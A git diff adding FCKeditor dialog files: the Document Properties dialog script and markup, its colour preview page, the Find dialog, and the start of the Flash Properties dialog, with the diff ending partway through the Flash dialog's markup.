+       GetE('txtColorLink').value              = GetAttribute( oBody, 'link'   , '' ) ;
+       GetE('txtColorVisited').value   = GetAttribute( oBody, 'vLink'  , '' ) ;
+       GetE('txtColorActive').value    = GetAttribute( oBody, 'aLink'  , '' ) ;
+
+       // ### Margins
+       GetE('txtMarginTop').value              = GetAttribute( oBody, 'topMargin'              , '' ) ;
+       GetE('txtMarginLeft').value             = GetAttribute( oBody, 'leftMargin'             , '' ) ;
+       GetE('txtMarginRight').value    = GetAttribute( oBody, 'rightMargin'    , '' ) ;
+       GetE('txtMarginBottom').value   = GetAttribute( oBody, 'bottomMargin'   , '' ) ;
+
+       // ### Meta Data
+       GetE('txtMetaKeywords').value           = GetMetadata( 'keywords' ) ;
+       GetE('txtMetaDescription').value        = GetMetadata( 'description' ) ;
+       GetE('txtMetaAuthor').value                     = GetMetadata( 'author' ) ;
+       GetE('txtMetaCopyright').value          = GetMetadata( 'copyright' ) ;
+}
+
+// Called when the "Ok" button is clicked.
+function Ok()
+{
+       // ### General Info
+       FCK.EditorDocument.title = GetE('txtPageTitle').value ;
+
+       var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+       SetAttribute( oHTML, 'dir'              , GetE('selDirection').value ) ;
+       SetAttribute( oHTML, 'lang'             , GetE('txtLang').value ) ;
+       SetAttribute( oHTML, 'xml:lang' , GetE('txtLang').value ) ;
+
+       // Character Set Enconding.
+       var sCharSet = GetE('selCharSet').value ;
+       if ( sCharSet == '...' )
+               sCharSet = GetE('txtCustomCharSet').value ;
+
+       if ( sCharSet.length > 0 )
+                       sCharSet = 'text/html; charset=' + sCharSet ;
+
+//     if ( oEditor.FCKBrowserInfo.IsIE )
+//             FCK.EditorDocument.charset = sCharSet ;
+//     else
+               SetMetadata( 'Content-Type', sCharSet, true ) ;
+
+       // Document Type
+       var sDocType = GetE('selDocType').value ;
+       if ( sDocType == '...' )
+               sDocType = GetE('txtDocType').value ;
+
+       FCK.DocTypeDeclaration = sDocType ;
+
+       // XHTML Declarations.
+       if ( GetE('chkIncXHTMLDecl').checked )
+       {
+               if ( sCharSet.length == 0 )
+                       sCharSet = 'utf-8' ;
+
+               FCK.XmlDeclaration = '<?xml version="1.0" encoding="' + sCharSet + '"?>' ;
+
+               SetAttribute( oHTML, 'xmlns', 'http://www.w3.org/1999/xhtml' ) ;
+       }
+       else
+       {
+               FCK.XmlDeclaration = null ;
+               oHTML.removeAttribute( 'xmlns', 0 ) ;
+       }
+
+       // ### Background
+       SetAttribute( oBody, 'bgcolor'          , GetE('txtBackColor').value ) ;
+       SetAttribute( oBody, 'background'       , GetE('txtBackImage').value ) ;
+       SetAttribute( oBody, 'bgproperties'     , GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+       // ### Colors
+       SetAttribute( oBody, 'text'     , GetE('txtColorText').value ) ;
+       SetAttribute( oBody, 'link'     , GetE('txtColorLink').value ) ;
+       SetAttribute( oBody, 'vlink', GetE('txtColorVisited').value ) ;
+       SetAttribute( oBody, 'alink', GetE('txtColorActive').value ) ;
+
+       // ### Margins
+       SetAttribute( oBody, 'topmargin'        , GetE('txtMarginTop').value ) ;
+       SetAttribute( oBody, 'leftmargin'       , GetE('txtMarginLeft').value ) ;
+       SetAttribute( oBody, 'rightmargin'      , GetE('txtMarginRight').value ) ;
+       SetAttribute( oBody, 'bottommargin'     , GetE('txtMarginBottom').value ) ;
+
+       // ### Meta data
+       SetMetadata( 'keywords'         , GetE('txtMetaKeywords').value ) ;
+       SetMetadata( 'description'      , GetE('txtMetaDescription').value ) ;
+       SetMetadata( 'author'           , GetE('txtMetaAuthor').value ) ;
+       SetMetadata( 'copyright'        , GetE('txtMetaCopyright').value ) ;
+
+       return true ;
+}
+
+var bPreviewIsLoaded = false ;
+var oPreviewWindow ;
+var oPreviewBody ;
+
+// Called by the Preview page when loaded.
+function OnPreviewLoad( previewWindow, previewBody )
+{
+       oPreviewWindow  = previewWindow ;
+       oPreviewBody    = previewBody ;
+
+       bPreviewIsLoaded = true ;
+       UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+       if ( !bPreviewIsLoaded )
+               return ;
+
+       // ### Background
+       SetAttribute( oPreviewBody, 'bgcolor'           , GetE('txtBackColor').value ) ;
+       SetAttribute( oPreviewBody, 'background'        , GetE('txtBackImage').value ) ;
+       SetAttribute( oPreviewBody, 'bgproperties'      , GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+       // ### Colors
+       SetAttribute( oPreviewBody, 'text', GetE('txtColorText').value ) ;
+
+       oPreviewWindow.SetLinkColor( GetE('txtColorLink').value ) ;
+       oPreviewWindow.SetVisitedColor( GetE('txtColorVisited').value ) ;
+       oPreviewWindow.SetActiveColor( GetE('txtColorActive').value ) ;
+}
+
+function CheckOther( combo, txtField )
+{
+       var bNotOther = ( combo.value != '...' ) ;
+
+       GetE(txtField).style.backgroundColor = ( bNotOther ? '#cccccc' : '' ) ;
+       GetE(txtField).disabled = bNotOther ;
+}
+
+function SetColor( inputId, color ) 
+{
+       GetE( inputId ).value = color + '' ; 
+       UpdatePreview() ;
+}
+
+function SelectBackColor( color )              { SetColor('txtBackColor', color ) ; }
+function SelectColorText( color )              { SetColor('txtColorText', color ) ; }
+function SelectColorLink( color )              { SetColor('txtColorLink', color ) ; }
+function SelectColorVisited( color )   { SetColor('txtColorVisited', color ) ; }
+function SelectColorActive( color )            { SetColor('txtColorActive', color ) ; }
+
+function SelectColor( wich )
+{
+       switch ( wich )
+       {
+               case 'Back'                     : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectBackColor, window ) ; return ;
+               case 'ColorText'        : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorText, window ) ; return ;
+               case 'ColorLink'        : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorLink, window ) ; return ;
+               case 'ColorVisited'     : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorVisited, window ) ; return ;
+               case 'ColorActive'      : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorActive, window ) ; return ;
+       }
+}
+
+function BrowseServerBack()
+{
+       OpenFileBrowser( FCKConfig.ImageBrowserURL, FCKConfig.ImageBrowserWindowWidth, FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+       GetE('txtBackImage').value = url ;
+       UpdatePreview() ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+               <tr>
+                       <td valign="top" style="height: 100%">
+                               <div id="divGeneral">
+                                       <span fcklang="DlgDocPageTitle">Page Title</span><br />
+                                       <input id="txtPageTitle" style="width: 100%" type="text" />
+                                       <br />
+                                       <table cellspacing="0" cellpadding="0" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fcklang="DlgDocLangDir">Language Direction</span><br />
+                                                               <select id="selDirection">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value="ltr" fcklang="DlgDocLangDirLTR">Left to Right (LTR)</option>
+                                                                       <option value="rtl" fcklang="DlgDocLangDirRTL">Right to Left (RTL)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td>
+                                                               <span fcklang="DlgDocLangCode">Language Code</span><br />
+                                                               <input id="txtLang" type="text" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br />
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td style="white-space: nowrap">
+                                                               <span fcklang="DlgDocCharSet">Character Set Encoding</span><br />
+                                                               <select id="selCharSet" onchange="CheckOther( this, 'txtCustomCharSet' );">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value="us-ascii">ASCII</option>
+                                                                       <option fcklang="DlgDocCharSetCE" value="iso-8859-2">Central European</option>
+                                                                       <option fcklang="DlgDocCharSetCT" value="big5">Chinese Traditional (Big5)</option>
+                                                                       <option fcklang="DlgDocCharSetCR" value="iso-8859-5">Cyrillic</option>
+                                                                       <option fcklang="DlgDocCharSetGR" value="iso-8859-7">Greek</option>
+                                                                       <option fcklang="DlgDocCharSetJP" value="iso-2022-jp">Japanese</option>
+                                                                       <option fcklang="DlgDocCharSetKR" value="iso-2022-kr">Korean</option>
+                                                                       <option fcklang="DlgDocCharSetTR" value="iso-8859-9">Turkish</option>
+                                                                       <option fcklang="DlgDocCharSetUN" value="utf-8">Unicode (UTF-8)</option>
+                                                                       <option fcklang="DlgDocCharSetWE" value="iso-8859-1">Western European</option>
+                                                                       <option fcklang="DlgOpOther" value="...">&lt;Other&gt;</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgDocCharSetOther">Other Character Set Encoding</span><br />
+                                                               <input id="txtCustomCharSet" style="width: 100%; background-color: #cccccc" disabled="disabled"
+                                                                       type="text" />
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td colspan="3">
+                                                               &nbsp;</td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap="nowrap">
+                                                               <span fcklang="DlgDocDocType">Document Type Heading</span><br />
+                                                               <select id="selDocType" name="selDocType" onchange="CheckOther( this, 'txtDocType' );">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">'>HTML
+                                                                               4.01 Transitional</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">'>
+                                                                               HTML 4.01 Strict</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">'>
+                                                                               HTML 4.01 Frameset</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'>
+                                                                               XHTML 1.0 Transitional</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'>
+                                                                               XHTML 1.0 Strict</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">'>
+                                                                               XHTML 1.0 Frameset</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">'>
+                                                                               XHTML 1.1</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">'>HTML 3.2</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">'>HTML 2.0</option>
+                                                                       <option value="..." fcklang="DlgOpOther">&lt;Other&gt;</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                       </td>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgDocDocTypeOther">Other Document Type Heading</span><br />
+                                                               <input id="txtDocType" style="width: 100%; background-color: #cccccc" disabled="disabled"
+                                                                       type="text" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br />
+                                       <input id="chkIncXHTMLDecl" type="checkbox" />
+                                       <label for="chkIncXHTMLDecl" fcklang="DlgDocIncXHTML">
+                                               Include XHTML Declarations</label>
+                               </div>
+                               <div id="divBackground" style="display: none">
+                                       <span fcklang="DlgDocBgColor">Background Color</span><br />
+                                       <input id="txtBackColor" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" />&nbsp;<input
+                                               id="btnSelBackColor" onclick="SelectColor( 'Back' )" type="button" value="Select..."
+                                               fcklang="DlgCellBtnSelect" /><br />
+                                       <br />
+                                       <span fcklang="DlgDocBgImage">Background Image URL</span><br />
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td width="100%">
+                                                               <input id="txtBackImage" style="width: 100%" type="text" onchange="UpdatePreview();"
+                                                                       onkeyup="UpdatePreview();" /></td>
+                                                       <td id="tdBrowse" nowrap="nowrap">
+                                                               &nbsp;<input id="btnBrowse" onclick="BrowseServerBack();" type="button" fcklang="DlgBtnBrowseServer"
+                                                                       value="Browse Server" /></td>
+                                               </tr>
+                                       </table>
+                                       <input id="chkBackNoScroll" type="checkbox" onclick="UpdatePreview();" />
+                                       <label for="chkBackNoScroll" fcklang="DlgDocBgNoScroll">
+                                               Nonscrolling Background</label>
+                               </div>
+                               <div id="divColors" style="display: none">
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fcklang="DlgDocCText">Text</span><br />
+                                                               <input id="txtColorText" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorText' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCLink">Link</span><br />
+                                                               <input id="txtColorLink" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorLink' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCVisited">Visited Link</span><br />
+                                                               <input id="txtColorVisited" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorVisited' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCActive">Active Link</span><br />
+                                                               <input id="txtColorActive" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorActive' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                       </td>
+                                                       <td valign="middle" align="center">
+                                                               <table cellspacing="2" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td>
+                                                                                       <span fcklang="DlgDocMargins">Page Margins</span></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td style="border: #000000 1px solid; padding: 5px">
+                                                                                       <table cellpadding="0" cellspacing="0" border="0" dir="ltr">
+                                                                                               <tr>
+                                                                                                       <td align="center" colspan="3">
+                                                                                                               <span fcklang="DlgDocMaTop">Top</span><br />
+                                                                                                               <input id="txtMarginTop" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                               <tr>
+                                                                                                       <td align="left">
+                                                                                                               <span fcklang="DlgDocMaLeft">Left</span><br />
+                                                                                                               <input id="txtMarginLeft" type="text" size="3" />
+                                                                                                       </td>
+                                                                                                       <td>
+                                                                                                               &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                                                                       <td align="right">
+                                                                                                               <span fcklang="DlgDocMaRight">Right</span><br />
+                                                                                                               <input id="txtMarginRight" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                               <tr>
+                                                                                                       <td align="center" colspan="3">
+                                                                                                               <span fcklang="DlgDocMaBottom">Bottom</span><br />
+                                                                                                               <input id="txtMarginBottom" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                       </table>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div id="divMeta" style="display: none">
+                                       <span fcklang="DlgDocMeIndex">Document Indexing Keywords (comma separated)</span><br />
+                                       <textarea id="txtMetaKeywords" style="width: 100%" rows="2" cols="20"></textarea>
+                                       <br />
+                                       <span fcklang="DlgDocMeDescr">Document Description</span><br />
+                                       <textarea id="txtMetaDescription" style="width: 100%" rows="4" cols="20"></textarea>
+                                       <br />
+                                       <span fcklang="DlgDocMeAuthor">Author</span><br />
+                                       <input id="txtMetaAuthor" style="width: 100%" type="text" /><br />
+                                       <br />
+                                       <span fcklang="DlgDocMeCopy">Copyright</span><br />
+                                       <input id="txtMetaCopyright" type="text" style="width: 100%" />
+                               </div>
+                       </td>
+               </tr>
+               <tr id="ePreview" style="display: none">
+                       <td>
+                               <span fcklang="DlgDocPreview">Preview</span><br />
+                               <iframe id="frmPreview" src="fck_docprops/fck_document_preview.html" width="100%"
+                                       height="100"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_docprops/fck_document_preview.html b/fckeditor/editor/dialog/fck_docprops/fck_document_preview.html
new file mode 100755 (executable)
index 0000000..86227d0
--- /dev/null
@@ -0,0 +1,117 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_document_preview.html
+ *     Preview shown in the "Document Properties" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Document Properties - Preview</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <script language="javascript">
+
+var eBase = parent.FCK.EditorDocument.getElementsByTagName( 'BASE' ) ;
+if ( eBase.length > 0 && eBase[0].href.length > 0 )
+{
+       document.write( '<base href="' + eBase[0].href + '">' ) ;
+}
+
+window.onload = function()
+{
+       if ( typeof( parent.OnPreviewLoad ) == 'function' )
+               parent.OnPreviewLoad( window, document.body ) ;
+}
+
+function SetBaseHRef( baseHref )
+{
+       var eBase = document.createElement( 'BASE' ) ;
+       eBase.href = baseHref ;
+
+       var eHead = document.getElementsByTagName( 'HEAD' )[0] ;
+       eHead.appendChild( eBase ) ;
+}
+
+function SetLinkColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eLink').style.color = color ;
+       else
+               document.getElementById('eLink').style.color = window.document.linkColor ;
+}
+
+function SetVisitedColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eVisited').style.color = color ;
+       else
+               document.getElementById('eVisited').style.color = window.document.vlinkColor ;
+}
+
+function SetActiveColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eActive').style.color = color ;
+       else
+               document.getElementById('eActive').style.color = window.document.alinkColor ;
+}
+               </script>
+       </head>
+       <body>
+               <table width="100%" height="100%" cellpadding="0" cellspacing="0" border="0">
+                       <tr>
+                               <td align="center" valign="middle">
+                                       Normal Text
+                               </td>
+                               <td id="eLink" align="center" valign="middle">
+                                       <u>Link Text</u>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td id="eVisited" valign="middle" align="center">
+                                       <u>Visited Link</u>
+                               </td>
+                               <td id="eActive" valign="middle" align="center">
+                                       <u>Active Link</u>
+                               </td>
+                       </tr>
+               </table>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_find.html b/fckeditor/editor/dialog/fck_find.html
new file mode 100755 (executable)
index 0000000..009fc56
--- /dev/null
@@ -0,0 +1,177 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_find.html
+ *     "Find" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // Whole word is available on IE only.
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               document.getElementById('divWord').style.display = '' ;
+
+       // First of all, translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+function btnStat(frm)
+{
+       document.getElementById('btnFind').disabled =
+               ( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll )
+{
+       for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+       {
+               var oNode = parentNode.childNodes[i] ;
+               if ( oNode.nodeType == 3 )
+               {
+                       var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+                       if ( oNode.nodeValue != sReplaced )
+                       {
+                               oNode.nodeValue = sReplaced ;
+                               if ( ! replaceAll )
+                                       return true ;
+                       }
+               }
+               else
+               {
+                       if ( ReplaceTextNodes( oNode, regex, replaceValue ) )
+                               return true ;
+               }
+       }
+       return false ;
+}
+
+function GetRegexExpr()
+{
+       var sExpr ;
+
+       if ( document.getElementById('chkWord').checked )
+               sExpr = '\\b' + document.getElementById('txtFind').value + '\\b' ;
+       else
+               sExpr = document.getElementById('txtFind').value ;
+
+       return sExpr ;
+}
+
+function GetCase()
+{
+       return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function Ok()
+{
+       if ( document.getElementById('txtFind').value.length == 0 )
+               return ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               FindIE() ;
+       else
+               FindGecko() ;
+}
+
+var oRange ;
+
+if ( oEditor.FCKBrowserInfo.IsIE )
+       oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+
+function FindIE()
+{
+       var iFlags = 0 ;
+
+       if ( chkCase.checked )
+               iFlags = iFlags | 4 ;
+
+       if ( chkWord.checked )
+               iFlags = iFlags | 2 ;
+
+       var bFound = oRange.findText( document.getElementById('txtFind').value, 1, iFlags ) ;
+
+       if ( bFound )
+       {
+               oRange.scrollIntoView() ;
+               oRange.select() ;
+               oRange.collapse(false) ;
+               oLastRangeFound = oRange ;
+       }
+       else
+       {
+               oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+       }
+}
+
+function FindGecko()
+{
+       var bCase = document.getElementById('chkCase').checked ;
+       var bWord = document.getElementById('chkWord').checked ;
+
+       // window.find( searchString, caseSensitive, backwards, wrapAround, wholeWord, searchInFrames, showDialog ) ;
+       if ( !oEditor.FCK.EditorWindow.find( document.getElementById('txtFind').value, bCase, false, false, bWord, false, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+       </script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+       <table cellspacing="3" cellpadding="2" width="100%" border="0">
+               <tr>
+                       <td nowrap="nowrap">
+                               <label for="txtFind" fcklang="DlgReplaceFindLbl">
+                                       Find what:</label>&nbsp;
+                       </td>
+                       <td width="100%">
+                               <input id="txtFind" style="width: 100%" tabindex="1" type="text" />
+                       </td>
+                       <td>
+                               <input id="btnFind" style="padding-right: 5px; padding-left: 5px" onclick="Ok();"
+                                       type="button" value="Find" fcklang="DlgFindFindBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="bottom" colspan="3">
+                               &nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+                                       case</label>
+                               <br />
+                               <div id="divWord" style="display: none">
+                                       &nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+                                               whole word</label>
+                               </div>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_flash.html b/fckeditor/editor/dialog/fck_flash.html
new file mode 100755 (executable)
index 0000000..863505d
--- /dev/null
@@ -0,0 +1,150 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_flash.html
+ *     Flash Properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Flash Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script src="fck_flash/fck_flash.js" type="text/javascript"></script>
+               <link href="common/fck_dialog_common.css" type="text/css" rel="stylesheet">
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <div id="divInfo">
+                       <table cellSpacing="1" cellPadding="1" width="100%" border="0">
+                               <tr>
+                                       <td>
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td width="100%"><span fckLang="DlgImgURL">URL</span>
+                                                               </td>
+                                                               <td id="tdBrowse" style="DISPLAY: none" noWrap rowSpan="2">&nbsp; <input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server" fckLang="DlgBtnBrowseServer">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td vAlign="top"><input id="txtUrl" onblur="UpdatePreview();" style="WIDTH: 100%" type="text">
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <TR>
+                                       <TD>
+                                               <table cellSpacing="0" cellPadding="0" border="0">
+                                                       <TR>
+                                                               <TD nowrap>
+                                                                       <span fckLang="DlgImgWidth">Width</span><br>
+                                                                       <input id="txtWidth" class="FCK__FieldNumeric" type="text" size="3">
+                                                               </TD>
+                                                               <TD>&nbsp;</TD>
+                                                               <TD>
+                                                                       <span fckLang="DlgImgHeight">Height</span><br>
+                                                                       <input id="txtHeight" class="FCK__FieldNumeric" type="text" size="3">
+                                                               </TD>
+                                                       </TR>
+                                               </table>
+                                       </TD>
+                               </TR>
+                               <tr>
+                                       <td vAlign="top">
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td valign="top" width="100%">
+                                                                       <table cellSpacing="0" cellPadding="0" width="100%">
+                                                                               <tr>
+                                                                                       <td><span fckLang="DlgImgPreview">Preview</span></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td id="ePreviewCell" valign="top" class="FlashPreviewArea"><iframe src="fck_flash/fck_flash_preview.html" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+               <div id="divUpload" style="DISPLAY: none">
+                       <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+                               <span fckLang="DlgLnkUpload">Upload</span><br />
+                               <input id="txtUploadFile" style="WIDTH: 100%" type="file" size="40" name="NewFile" /><br />
+                               <br />
+                               <input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+                               <iframe name="UploadWindow" style="DISPLAY: none" src="javascript:void(0)"></iframe> 
+                       </form>
+               </div>
+               <div id="divAdvanced" style="DISPLAY: none">
+                       <TABLE cellSpacing="0" cellPadding="0" border="0">
+                               <TR>
+                                       <TD nowrap>
+                                               <span fckLang="DlgFlashScale">Scale</span><BR>
+                                               <select id="cmbScale">
+                                                       <option value="" selected></option>
+                                                       <option value="showall" fckLang="DlgFlashScaleAll">Show all</option>
